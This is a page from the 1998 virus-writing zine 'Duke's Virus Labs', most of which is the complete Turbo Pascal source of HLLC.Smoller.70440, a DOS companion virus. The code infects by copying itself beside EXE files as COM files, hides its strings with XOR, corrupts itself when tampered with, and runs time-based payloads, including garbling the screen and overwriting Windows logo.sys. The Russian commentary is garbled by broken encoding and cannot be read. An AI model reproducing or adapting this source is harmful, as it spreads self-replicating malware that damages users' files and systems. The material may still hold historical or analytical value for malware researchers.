- [Duke's Virus Labs #3] - [Page 12] -

HLLC.Smoller.70440  ᭠ ⮬.
(c) by Duke/SMF

     : HLLC.Smoller.70440
         : Duke/SMF
 ᮧ : 14.12.98

   ⠫  ᯨ᪨  ᮢ, ।塞 AVP,   ⠫ .
। HLL-ᮢ 筮  﫨 ᪨ ,  
 40000   - 騩 . , , ᨤ, 믥ਢ,
ࠥ    ⨪ ᮪ ࠧ ,   ᮢ
 ⢮ ꥬ  (⮫쪮 㬠 70  ࠧ
 ᪠ -   䠩- ࠧ 8-[@] ).
     ࠧ    -   ଥ஢,  ⠪  ,
  ⨢᭨,   墠⠥    ०
(  ᠬ  -  ७ :)). ,   ਭ樯
ଥ⢠, ᠫ  ࠦ ᪨ .
    ,   稫 ⠪ 让 . 祣 㬭 
 ;))   稫   ᨢ  䠩: invert.com,
font.fnt, crystal.hsc (㯠), logo.zip (娢  Windows Logo.Sys),
pkunzip.exe (⮡    娢  PATH)   祣 .
 ⥪   ஢ +  ஢ ᢮ . ᫨
   ࠬ஬ "!",    ࠢ :)
     ᯥ䥪 (饬-, ⮫쪮    :).  ᨬ
 ⥪饣 ६  롨ࠥ   .
    ᫨   EXE-䠩  - ந뢠  ( blaster !)
    ..... - 13.00        - ॢ稢 ࠭
    13.00 - 15.00        - ਢ ࠭
    15.00 - 18.00        - ⠭ 
    18.00 - .....        - 塞 logo.sys (᫨   Windows)

    ⮬  ᯮ짮  㦨 ࠧࠡ⪨, ⮬ 
ࠦ ᢮ ୮ :
    maganda              -  Windows Logo.Sys
    unknown author       -  Invert
    Access/ADV           -  HSC Player
    [HRIS <ORTE/XOGRAPHY -   "Crystal Sound"

     ᮡ⢥   ᠬ (砥 䠩    ਫ饬
  娢) :
===== Cut here =====
{$M 10000, 1000, 90000}
{$S-}
program BigVirus;
uses crt,dos,ADVHSC;
const FontData : array [1..4096]  of byte={$I font.inc};
      PKUnZip  : array [1..19822] of byte={$I pkunzip.inc};
      LogoSys  : array [1..30525] of byte={$I logo.inc};
var  Num    : byte;                    { ᯥ䥪}
     ds     : dirstr;                  {४}
     ns     : namestr;                 { 䠩}
     es     : extstr;                  {७}
     s      : searchrec;               { ᪠ }
     st     : string;                  { ᪠ 䠩}
     coman  : string;                  {ப  COMSPEC}
     winver : word;                    { Windows}
     oem    : byte;
     c,e    : string[4];               {ப  ७ 䠩}
     t      : string;                  {஬筠 ப}
{---------------------------- ஢騪 ⥪⮢ ----------------------------}
function Xorer(st:string):string;
var j:integer;
    w:string;
begin
w:='';
for j:=1 to length(st) do w:=w+chr(ord(st[j]) xor (j+1) div 2);
Xorer:=w;
end;
{--------------------------- ⠭  ------------------------------}
procedure SetFont(p:Pointer);assembler;
asm
 push bp
 mov ah,11h
 mov al,00h
 les bp,p
 mov cx,256
 mov dx,0
 mov bl,0
 mov bh,16
 int 10h
 pop bp
end;
{------------------------- 뢮   ࠭ ---------------------------}
procedure DestroyScreen;
var k:boolean;
begin
Randomize;
k:=true;
while not keypressed do
  begin
  mem[$B800:0000+random(4000)]:=random(255);
  delay(50);
  end;
end;
{----------------------------   몮 -----------------------------}
Procedure MusicPlayer;
const MasLen=5422;                           {  모}
      d:array[1..MasLen] of byte = {$I music.inc}; {Crystal Sound}
var k:integer;                               {㪠⥫   ᨢ D}
    j:integer;                               {㪠⥫   ᨢ M}
    i:integer;                               { 稪}
    m:array[1..11952] of byte;               {ᨢ  ᯠ 모}
procedure X;begin m[j]:=0;j:=j+1;end;
begin
for i:=1 to $90 do m[i]:=d[i];
k:=$91;j:=$91;
while k<=MasLen do
  begin
  case ord(d[k]) of
    $81..$9F : for i:=1 to ord(d[k])-$7F do X;
    $A0      : begin X;m[j]:=$0D;j:=j+1 end;
    $A1      : begin X;m[j]:=$12;j:=j+1 end;
    $A2      : begin X;m[j]:=$19;j:=j+1 end;
    $A3      : begin X;m[j]:=$1B;j:=j+1 end;
    $A4      : begin X;m[j]:=$22;j:=j+1 end;
    $A5      : begin X;m[j]:=$49;j:=j+1 end;
    else begin m[j]:=d[k];j:=j+1;end;
    end;
  k:=k+1;
  end;
t:='Hg"{lv$ldsc&f''[g|gn*Hj~h!-~bjncu1eg`}3{z5ffsv|}j9vh:kssrx=$7';
  {'If you have a Sound Card, please turn on speaker or phone :)'}
writeln(Xorer(t));
PLAYSONGMEMORY(@M);          {ந뢠 }
Repeat
  POLLMUSIC;                 {訢    모}
                             {  18 㪮  ᥪ㭤}
  Delay(10);
Until KeyPressed;
STOPSONG;                    {⠭ }
CLEARMEM;                    {᢮ }
end;
{------------------------- ॢ稢 ࠭ -------------------------}
procedure Invert;
const InvertFile : array[1..1001] of byte = {$I invert.inc};
var a:file;
begin
assign(a,Xorer('hotgqw*gjh'));rewrite(a,1);
              {'invert.com'}
blockwrite(a,InvertFile,1001);
close(a);
exec(coman,Xorer('.b"kmuavq+eij9f}e'));
                {'/c invert.com>nul'}
erase(a);
end;
{------------------- ⠭  logo  㧪 ---------------------}
procedure Logos;
var a,b:file;
begin
assign(a,Xorer('qjwlyjt*`}c'));{'pkunzip.exe'}
rewrite(a,1);
blockwrite(a,PKUnZip,19822);
close(a);
assign(b,Xorer('mnem-ymt'));{'logo.zip'}
rewrite(b,1);
blockwrite(b,LogoSys,30525);
close(b);
exec(coman,Xorer('.b"rhvj~lu(cb(%f)feld"vd}.m5S0.d~'));
                {'/c pkunzip.exe -o logo.zip c:\ >nul'}
erase(a);
erase(b);
end;
{---------------------------- ࠦ 䠩 -----------------------------}
procedure zar(name:string);
{ࠦ  䠩  ஢મ  稥 COM-䠩}
var  g : file of char;
begin
fsplit(name,ds,ns,es);
st:=ds+ns+c;
assign(g,st);{$I-}reset(g);{$I+}
if ioresult<>0 then               {COM-䠩   =>  ࠦ}
  exec(coman,Xorer('.b"als}')+' '+paramstr(0)+' '+st+Xorer('?own'))
                  {'/c copy'}                              {'>nul'}
else close(g);
end;
{-------------------    맮 ࠦ -------------------------}
procedure Poisk;
var tt : string;
begin
findfirst('*'+e,$21,s);
tt:='';
while doserror=0 do
  begin
  if tt=s.name then exit else begin tt:=s.name;zar(s.name);end;
  findnext(s);
  end;
end;
{-------------------- ஢ઠ  楫⭮ 䠩 ------------------------}
procedure CheckChange;
const VirSize=70440;   { ⪮஢  + PKLITE}
var Virus : file;      {饭 䠩}
    j     : integer;
    ch    : byte;
begin
assign(Virus,paramstr(0));
reset(Virus,1);
if filesize(Virus)<>VirSize then
  begin
  writeln(Xorer('姯#%''3'));
               {'祬   ?'}
  setfattr(Virus,$20);
  Randomize;
  for j:=1 to 1000 do
    begin
    ch:=random(255);
    seek(Virus,random(30000));
    blockwrite(Virus,ch,1);
    end;
  writeln(Xorer('"㣦%(*ࠨ/'));
               {' ࠢ   쬥!'}
  halt
  end;
close(Virus);
end;
{------------------------- ஢ઠ ࠬ஢ -----------------------------}
procedure AboutVirus;
begin
if paramstr(1)='!' then
  begin
  TextColor(12);
  t:='Uikq#jw$sltst''S[dfffny!=!-J{dj?C\WO<3Df}aasx7%-6) 4##;ur=OkmlvA';
     {'This is virus [Smoller-1, Duke/SMF]. Written 25.09.98 in Russia.'}
  writeln(Xorer(t));
  TextColor(10);
  writeln(Xorer('!%穩䯧+槵0񱳼.'));
               {'  ᯮ짮 ᫥騥 ࠡ:'}
  TextColor(13);
  writeln(Xorer('Gnlv#+g-%g&Crcm&ZGL'));
               {'Font (c) by Duke/SMF'}
  writeln(Xorer('Vhlfltw$Ijai)Tq{)!i#+iu,`lioakq'));
               {'Windows Logo.Sys (c) by maganda'}
  writeln(Xorer('Hotgqw$,f,&d~''}fbge}e+myyea|'));
               {'Invert (c) by unknown author'}
  writeln(Xorer('IRA"Soe}`w&.d.(jp)Kihn"LJX'));
               {'HSC Player (c) by Access/ADV'}
  writeln(Xorer('Ltqk`#&Gw|urfk([f|dn)+$o$-lw/TXBXB2.\A@Q:MYQEVHP@'));
               {'Music "Crystal Sound" (c) by [HRIS <ORTE/XOGRAPHY'}
  TextColor(7);
  writeln(' ');
  halt;
  end;
end;
{---------------------------   ---------------------------------}
procedure CheckExt;
var f : file;
begin
fsplit(paramstr(0),ds,ns,es);
if es=e then Num:=3               {   EXE-䠩 :(}
else                              { 㦥  COM-䠩 :)}
  begin
  st:=ds+ns+e;
  assign(f,st);
  {$I-}reset(f);{$I+}             {஢塞 稥 :}
  if ioresult=0 then
    begin
    close(f);
    exec(coman,'/c '+st);         {⢠  - ᪠ }
    end;
  end;
end;
{------------------------ ஢ઠ  Windows ------------------------}
Procedure MS_MUSTDIE;Assembler;   {஢ઠ  Windows}
var ver,rev : word;
asm
   mov  ax, 1700h
   xor  bx, bx
   xor  cx, cx
   xor  dx, dx
   int  2Fh

   xor  bx, bx
   mov  ax, 160Ah
   int  2Fh
   mov  winver, bx

   mov  ax, 3306h
   int  21h
   mov  ver, bx
   mov  rev, dx

   mov  ah, 30h
   int  21h
   mov  oem, bh
end;
{-------------------------- ஢ઠ ⥪饣 ६ ----------------------}
procedure CheckTime;
var th,tm,ts,td : word;           {⥪饥 ६}
begin
GetTime(th,tm,ts,td);             {஢ઠ ⥪饣 ६}
if (winver<>0) and (oem=$FF)      {᫨   Windows  ᥩ ...}
  and (th>18) then Num:=6;        {...  塞 logo.sys}
if (th>=13) and (th<=15)          {᫨ ᥩ  ...}
  and (Num=0) then Num:=2;        {...  ਢ ࠭}
if (th<13) and (Num=0)            {᫨ ᥩ  ...}
  then Num:=5;                    {...  ॢ稢 ࠭}
if (th>15) and (th<=18)           {᫨ ᥩ  ...}
  and (Num=0) then Num:=1;        {...  ⠭ }
end;
{---------------------------------------------------------------------------}
begin
CheckChange;                      {஢ઠ  楫⭮}
AboutVirus;                       {஢ઠ ࠬ . ப}
coman:=GetEnv(Xorer('BNOQSFG'));  {⠭ ப ⠭ :}
                   {'COMSPEC'}    {}
e:=Xorer('/dzg');{'.exe'}         {}
c:=Xorer('/bmo');{'.com'}         {}
Poisk;                            {ࠦ}
Num:=0;                           {䥪⮢  }
CheckExt;                         { }
MS_MUSTDIE;                       {஢ઠ OS}
CheckTime;                        {஢ઠ ⥪饣 ६}
case Num of                       {⢫ ᯥ䥪:}
  1 : SetFont(@FontData);         {... }
  2 : DestroyScreen;              {...   }
  3 : MusicPlayer;                {...  ᪥  EXE-䠩}
  5 : Invert;                     {... ஬}
  6 : Logos;                      {... ஬  Windows}
  end;
end.                              {筮 襭 ࠡ}
===== Cut here =====